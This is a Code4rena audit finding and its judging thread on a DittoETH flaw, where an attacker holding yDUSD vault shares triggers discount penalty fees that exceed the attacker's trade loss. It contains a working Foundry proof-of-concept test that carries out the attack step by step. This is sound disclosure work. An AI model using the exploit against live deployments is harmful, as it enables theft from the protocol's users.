Attacker can profit from discount fees

[c4-bot-6]

Lines of code

https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/facets/OrdersFacet.sol#L132-L180

Vulnerability details

Impact

It is possible that the amount of dUSD minted in discount fees are greater than the discount loss. An attacker can therefore deliberately trigger a fee and, provided he has a large stake in the yDUSD vault, he can claim more dUSD in fees, than lost from the trade. The root cause is that the discount fee is fixed in proportion only to the entire debt.

Proof of Concept

Suppose dUSD trades at the intended 1:1 peg. The effective loss from placing an order at the price 0.95 is then 0.05 * ercAmount. Since the difference in price is >1% the discount fee kicks in. discountPct is first calculated to 0.05. Then, after applying the discountMultiplier (10 by default) it will be 0.5 * daysElapsed. If sufficiently many days have passed the discount will thus be an arbitrarily high number k. pctOfDiscountedDebt will be k * ercAmount / ercDebt. This must be >0.01 for the fee to be applied. I.e. ercAmount = 0.01 * ercDebt / k (or slightly more) is sufficient. The loss is then 0.0005 * ercDebt / k.

The discountPenaltyFee is 0.1% and is applied to (almost) the entire ercDebt. This, 0.001 * ercDebt is the amount dUSD minted.

The question is then whether the loss 0.0005 * ercDebt / k can be smaller than the 0.001 * ercDebt minted. This will happen if k > 0.5, for which two days is sufficient.

function _matchIsDiscounted(MTypes.HandleDiscount memory h) external onlyDiamond {
    STypes.Asset storage Asset = s.asset[h.asset];
    uint32 protocolTime = LibOrders.getOffsetTime();
    Asset.lastDiscountTime = protocolTime;
    // @dev Asset.initialDiscountTime used to calculate multiplier for discounts that occur nonstop for days (daysElapsed)
    if (Asset.initialDiscountTime <= 1 seconds) {
        // @dev Set only during first discount or when discount had been previously reset
        Asset.initialDiscountTime = protocolTime;
    }
    // @dev Cap the discount at 5% to prevent malicious attempt to overly increase ercDebt
    uint256 discountPct = LibOrders.min((h.savedPrice - h.price).div(h.savedPrice), 0.05 ether);
    // @dev Express duration of discount in days
    uint32 timeDiff = (protocolTime - Asset.initialDiscountTime) / 86400 seconds;
    uint32 daysElapsed = 1;
    if (timeDiff > 7) {
        // @dev Protect against situation where discount occurs, followed by long period of inactivity on orderbook
        Asset.initialDiscountTime = protocolTime;
    } else if (timeDiff > 1) {
        daysElapsed = timeDiff;
    }
    // @dev Penalties should occur more frequently if discounts persist many days
    // @dev Multiply discountPct by a multiplier to penalize larger discounts more
    discountPct = (discountPct * daysElapsed).mul(LibAsset.discountMultiplier(Asset));
    uint256 discount = 1 ether + discountPct;
    Asset.discountedErcMatched += uint104(h.ercAmount.mul(discount)); // @dev(safe-cast)
    uint256 pctOfDiscountedDebt = Asset.discountedErcMatched.div(h.ercDebt);
    // @dev Prevent Asset.ercDebt != the total ercDebt of SR's as a result of discounts penalty being triggered by forcedBid
    if (pctOfDiscountedDebt > C.DISCOUNT_THRESHOLD && !LibTStore.isForcedBid()) {
        // @dev Keep slot warm
        Asset.discountedErcMatched = 1 wei;
        uint64 discountPenaltyFee = uint64(LibAsset.discountPenaltyFee(Asset));
        Asset.ercDebtRate += discountPenaltyFee;
        // @dev TappSR should not be impacted by discount penalties
        STypes.ShortRecord storage tappSR = s.shortRecords[h.asset][address(this)][C.SHORT_STARTING_ID];
        tappSR.ercDebtRate = Asset.ercDebtRate;
        uint256 ercDebtMinusTapp = h.ercDebt - Asset.ercDebtFee;
        if (tappSR.status != SR.Closed) {
            ercDebtMinusTapp -= tappSR.ercDebt;
        }
        // @dev Increase global ercDebt to account for the increase debt owed by shorters
        uint104 newDebt = uint104(ercDebtMinusTapp.mul(discountPenaltyFee));
        Asset.ercDebt += newDebt;
        Asset.ercDebtFee += uint88(newDebt); // should be uint104?

        // @dev Mint dUSD to the yDUSD vault for
        // Note: Does not currently handle mutli-asset
        IERC20(h.asset).mint(s.yieldVault[h.asset], newDebt);
    }
}

Assessed type

Context

[c4-judge]

hansfriese marked the issue as primary issue

[ditto-eth]

the 7-day waiting period should mitigate this situation because it allows time for other users to join the pool and dilute the would-be attacker. the waiting period in and of itself is a deterrent to attackers because they know that other users can dilute them. this is the reason i added the waiting period instead of allowing for discrete/immediate rewards

[hansfriese]

Agree with the sponsor.

[c4-judge]

hansfriese marked the issue as unsatisfactory: Invalid

[d3e4]

@ditto-eth @hansfriese The attacker cannot be diluted. When users deposit they receive shares according to the new increased price. Deposits do not affect how much assets can be claimed by a share. (This is simply how vaults work.) Once the fees are minted to the vault, in which the attacker owns shares, they are accrued to his shares.

Note again that the root cause is simply that the discount fees are set according to the total debt and not according to how much has been traded at a discount.

Below is an explicit test case where the attacker causes a discount and triggers $50,000 in fees by trading $454,546 at 99% the saved price. This implies a trade loss of $4,545.46 for the attacker. In the example the attacker initially owns only half of the shares in the fee vault, and before he can withdraw other users deposit lots of funds in the vault. The test case demonstrates that this has no effect on his gains. The attacker's realized profit is thus $20,454.54.

This example is far from optimal for the attacker. Had he owned all of the vault shares he would obviously gain all of the fees. And I have assumed he would suffer the full trading loss from selling cheap, whereas he could possibly manage to trade with himself, which would eliminate this trade loss.

In order to prevent this the fees minted cannot be greater than the implied trade loss. I suppose the crux here is trying to maintain the peg, regardless of the volume of the discounted trades, which runs counter to this limit imposed on the fees. I'm not sure how the economical forces would regulate this despite low fees on low volume. Maybe a subset of ShortRecords (lowest CR) could be targeted such that the total fees are kept low, while the deterrence "interest" is concentrated to the same high rate on this subset of ShortRecords.

Paste the following in yDUSD.t.sol and run with forge test --match-test test_discount_drain.

function test_discount_drain() public {
    // Deal some dUSD to users, the attacker and dilutors.
    address users = makeAddr("users");
    address attacker = makeAddr("attacker");
    address dilutors = makeAddr("dilutors");
    vm.startPrank(_diamond);
    token.mint(users, 1_000_000 ether);
    token.mint(attacker, 1_500_000 ether);
    token.mint(dilutors, 10_000_000 ether);

    uint256 attackerInitialAssets = token.balanceOf(attacker);
    assertEq(token.balanceOf(attacker), 1_500_000 ether);

    // Set up some debt in the system
    fundLimitBidOpt(DEFAULT_PRICE, ERCDEBTSEED, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, ERCDEBTSEED, extra);

    vm.prank(attacker);
    diamond.depositAsset(asset, 500_000 ether); // The attacker needs to escrow for his ask.

    STypes.ShortRecord memory tappSR = getShortRecord(tapp, C.SHORT_STARTING_ID);
    uint104 ercDebtMinusTapp = diamond.getAssetStruct(asset).ercDebt - tappSR.ercDebt;
    assertEq(ercDebtMinusTapp, 50_000_000 ether);
    assertEq(diamond.getAssetStruct(asset).lastDiscountTime, 0);
    assertEq(diamond.getAssetStruct(asset).initialDiscountTime, 1 seconds);

    // Let's say the yDUSD vault is already in use before the attack, with 1_000_000 ether dUSD already deposited.
    vm.startPrank(users);
    token.approve(address(rebasingToken), 1_000_000 ether);
    rebasingToken.deposit(1_000_000 ether, users);
    assertEq(rebasingToken.totalAssets(), 1_000_000 ether);
    assertEq(rebasingToken.balanceOf(users), 1_000_000 ether);

    // The attacker gets yDUSD shares.
    vm.startPrank(attacker);
    token.approve(address(rebasingToken), 1_000_000 ether);
    rebasingToken.deposit(1_000_000 ether, attacker);
    uint256 preAttackTotalAssets = rebasingToken.totalAssets();
    assertEq(preAttackTotalAssets, 2_000_000 ether);
    assertEq(rebasingToken.balanceOf(attacker), 1_000_000 ether); // The attacker owns half of the shares in this example.

    // The attacker causes a discount by asking for only 99% of the saved price on 454_546 ether dUSD.
    // This implies a trade loss of 0.01 * 454_546 ether = 4_545.46 ether dUSD.
    uint80 savedPrice = uint80(diamond.getProtocolAssetPrice(asset));
    uint80 askPrice = uint80(savedPrice.mul(0.99 ether));
    uint80 bidPrice = uint80(savedPrice.mul(0.99 ether));
    fundLimitBidOpt(bidPrice, 1_000_000 ether, receiver);
    MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, askPrice, O.LimitAsk, 1);
    createAsk(askPrice, 454_546 ether, C.LIMIT_ORDER, orderHintArray, attacker); // 0.01 * 50_000_000 / (1 + 10 * 0.01) ≈ 454_546

    // However, the yDUSD vault has been minted 50_000 ether dUSD in fees, of which half can be claimed by the attacker.
    assertEq(rebasingToken.totalAssets() - preAttackTotalAssets, 50_000 ether);
    assertEq(rebasingToken.convertToAssets(rebasingToken.balanceOf(attacker)), 1_000_000 ether + 25_000 ether - 1);

    // Trading back to normal, which removes the discount.
    // The attacker can trade back his ethEscrow for dUSD and withdraw his ercEscrow (just for profit accounting).
    orderHintArray = diamond.getHintArray(asset, savedPrice, O.LimitAsk, 1);
    createAsk(savedPrice, 1_000_000 ether, C.LIMIT_ORDER, orderHintArray, receiver);
    limitBidOpt(savedPrice, 4000 * diamond.getVaultUserStruct(vault, attacker).ethEscrowed, attacker);
    vm.startPrank(attacker);
    diamond.withdrawAsset(asset, diamond.getAssetUserStruct(asset, attacker).ercEscrowed);

    // Others deposit before the attacker can propose a withdrawal.
    vm.startPrank(dilutors);
    token.approve(address(rebasingToken), 5_000_000 ether);
    rebasingToken.deposit(5_000_000 ether, dilutors);
    assertEq(rebasingToken.totalAssets(), 7_050_000 ether);

    // The attacker wants to claim his profit.
    skip(5 minutes);
    vm.startPrank(attacker);
    rebasingToken.proposeWithdraw(1_025_000 ether);

    // Others deposit before the attacker can withdraw.
    vm.startPrank(dilutors);
    token.approve(address(rebasingToken), 5_000_000 ether);
    rebasingToken.deposit(5_000_000 ether, dilutors);
    assertEq(rebasingToken.totalAssets(), 12_050_000 ether);

    // This actually makes no difference to the attacker's share of the vault, because of how vaults work.
    assertEq(rebasingToken.convertToAssets(rebasingToken.balanceOf(attacker)), 1_025_000 ether);

    // The attacker can withdraw later.
    skip(7 days);
    vm.startPrank(attacker);
    rebasingToken.withdraw(0, attacker, attacker);

    // The attacker has gained 25_000 ether dUSD at a cost of 4_545.46 ether dUSD, i.e. a profit of 20_454.54 ether dUSD.
    assertEq(token.balanceOf(attacker) - attackerInitialAssets, 20_454.54 ether);
}

[ditto-eth]

@d3e4 this line is failing for me:

assertEq(rebasingToken.totalAssets() - preAttackTotalAssets, 50_000 ether);

[hansfriese]

I was able to execute the POC and confirm its validity. High is appropriate because an attacker can receive more discount fees than his actual loss.

[c4-judge]

hansfriese marked the issue as satisfactory

[c4-judge]

hansfriese marked the issue as selected for report

[d3e4]

@d3e4 this line is failing for me:

assertEq(rebasingToken.totalAssets() - preAttackTotalAssets, 50_000 ether);

@ditto-eth What error message do you get?

[ditto-eth]

nvm this is valid, good find!